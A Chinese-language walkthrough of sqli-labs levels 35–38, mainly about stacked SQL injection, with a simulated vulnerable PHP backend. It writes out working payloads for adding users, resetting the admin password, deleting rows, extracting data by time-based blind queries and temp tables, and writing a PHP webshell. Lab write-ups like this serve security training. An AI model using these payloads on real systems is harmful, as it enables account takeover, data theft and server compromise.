sqli-labs Less-35 ~ Less-38
sqli-labs Less-35 ~ Less-38 详细题解
题目来源: sqli-labs
题目方向:web SQL
sqli-labs第三十五关
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码,直接使用联合查询就可以了
sqli-labs第三十六关
使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面三十二关一样
sqli-labs第三十七关
三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。
sqli-labs第三十八关
sqli-labs Less-38 详细题解:堆叠注入
1. 关卡核心考点
Less-38 是 堆叠注入(Stacked Injection) 的入门关卡。
堆叠注入与普通注入的区别:
| 普通注入 | 堆叠注入 |
|---|---|
| 只能执行一条 SQL 语句 | 可以执行多条 SQL 语句 |
用 --+、# 注释掉后面内容 |
用 ; 分隔多条语句 |
| 只能做 SELECT 查询 | 可以 INSERT、UPDATE、DELETE、DROP |
为什么前面不能用堆叠?
因为之前所有关卡的后端都只执行了 mysqli_query(),这个函数一次只能执行一条 SQL。
而 Less-38 使用了 mysqli_multi_query(),它允许一次执行多条用 ; 分隔的 SQL 语句。
2. 后端源码(模拟)
<?php
$conn = mysqli_connect("localhost", "root", "root", "security");
$id = $_GET['id'];
// 关键:使用 mysqli_multi_query(),允许多条语句
$sql = "SELECT * FROM users WHERE id='$id'";
mysqli_multi_query($conn, $sql);
// 处理结果
do {
if ($result = mysqli_store_result($conn)) {
while ($row = mysqli_fetch_assoc($result)) {
echo "Your Login name: " . $row['username'];
echo "<br>";
echo "Your Password: " . $row['password'];
}
mysqli_free_result($result);
}
} while (mysqli_next_result($conn));
?>
关键行:
mysqli_multi_query($conn, $sql);
这个函数允许在一条 SQL 字符串中用 ; 分隔多条语句。
3. 堆叠注入的基本方法
普通注入:
1' union select 1,2,3 --+
堆叠注入:
1'; insert into users(username, password) values('hacker','hacked') --+
用 ; 分隔:
第一条:SELECT * FROM users WHERE id='1';
第二条:INSERT INTO users ...;
4. 常用堆叠注入 payload
4.1 插入新用户
?id=1'; insert into users(username, password) values('hacker','hacked') --+
执行后,users 表会增加一条 hacker / hacked 的用户。
然后用 hacker / hacked 登录 Less-38 或其他关卡即可。
4.2 修改 admin 密码
?id=1'; update users set password='newpass' where username='admin' --+
登录 admin / newpass。
4.3 删除一条数据(谨慎)
?id=1'; delete from users where username='dumb' --+
4.4 创建表(极端情况)
?id=1'; create table backdoor(id int, data text) --+
4.5 结合联合查询查看数据
如果想通过同一个请求既看到原始数据又看到注入结果,可以用:
?id=1'; select * from users where username='admin' --+
但注意:mysqli_multi_query() 会返回多个结果集,页面可能会依次显示它们。
5. 完整解题示例
5.1 判断是否存在堆叠注入
?id=1'; --
如果能正常返回数据(没有报错),说明 ; 被支持,可能存在堆叠。
5.2 插入一个新用户
?id=1'; insert into users(username, password) values('test','test123') --+
5.3 验证插入成功
?id=1
或者直接用新账号在其他关卡登录。
6. 注意事项
| 注意点 | 说明 |
|---|---|
; 是关键 |
在 SQL 输入中用 ; 分隔多条语句 |
--+ 仍然需要 |
用来注释掉后面多余的 SQL 部分 |
| 第二句不能有错误 | 如果第二句语法错误,整个请求可能失败 |
| 堆叠注入并非所有环境都有 | 需要后端使用 mysqli_multi_query() 或类似函数 |
7. 与 Less-39~41 的关系
| 关卡 | 类型 | 闭合方式 |
|---|---|---|
| Less-38 | 堆叠注入(字符型) | ' |
| Less-39 | 堆叠注入(数字型) | 无引号 |
| Less-40 | 堆叠注入(字符型) | ') |
| Less-41 | 堆叠注入(数字型) | 无引号 |
堆叠注入的方法都一样,只是闭合方式不同。
8. 一句话记忆
堆叠注入 = 普通注入 + 分号 + 第二条 SQL
示例:
1'; insert into users(id,username, password) values('200','hacker','hacked') --+

堆叠注入只能修改数据,不能查询吗?
堆叠注入完全可以做查询(SELECT),但不能直接通过页面回显看到查询结果——这是核心区别。
1. 堆叠注入能查,但看不到结果
普通注入(UNION SELECT)把结果合并到页面中直接展示,比如:
1' union select 1,2,3 --+
页面会显示 2 和 3。
堆叠注入执行 SELECT 时:
1'; select * from users --+
SELECT 确实被执行了,但 mysqli_multi_query() 创建了一个新的结果集,而大部分页面只显示第一个结果集的内容(即原始 SELECT * FROM users WHERE id='1' 的结果),后续 SELECT 的结果不会展示在页面上。
所以说:可以查,但结果不显示。
2. 既然看不到,怎么利用 SELECT?
堆叠注入的 SELECT 功能通常配合时间盲注或写入操作来间接利用。
方式一:时间盲注验证
1'; select if((select substring(database(),1,1)='s'),sleep(3),0) --+
如果数据库名第一位是 s,服务器延迟 3 秒。利用它逐位爆破数据。
方式二:把查询结果写入一个新表
既然看不到结果,就让结果落地到数据库里,然后单独去取。
1'; create table tmp_data( data text) --+
1'; insert into tmp_data( data) select group_concat(username,':',password) from users --+
然后直接访问:
?id=1' union select 1,data,3 from tmp_data --+
就能看到刚才存进去的数据。
3. 堆叠注入的强项到底是什么?
堆叠注入的真正威力和优势在于 修改操作,这些不需要回显,执行就生效:
| 操作 | 示例 |
|---|---|
| 插入数据 | 1'; insert into users(...) values(...) --+ |
| 修改数据 | 1'; update users set password='newpass' where username='admin' --+ |
| 删除数据 | 1'; delete from users where id=5 --+ |
| 创建表 | 1'; create table backdoor(...) --+ |
| 写 webshell | 1'; select "<?php system($_GET['c']);?>" into outfile "/var/www/html/shell.php" --+ |
普通联合查询注入只能做 SELECT(查看),堆叠注入能做 增删改(操作)。
4. 一句话总结
堆叠注入不是不能查,是查了你也看不见。
想看见,就靠时间盲注或把结果写进新表再单独读取。
它真正的用途是执行修改、插入、删除、建表等操作。

浙公网安备 33010602011771号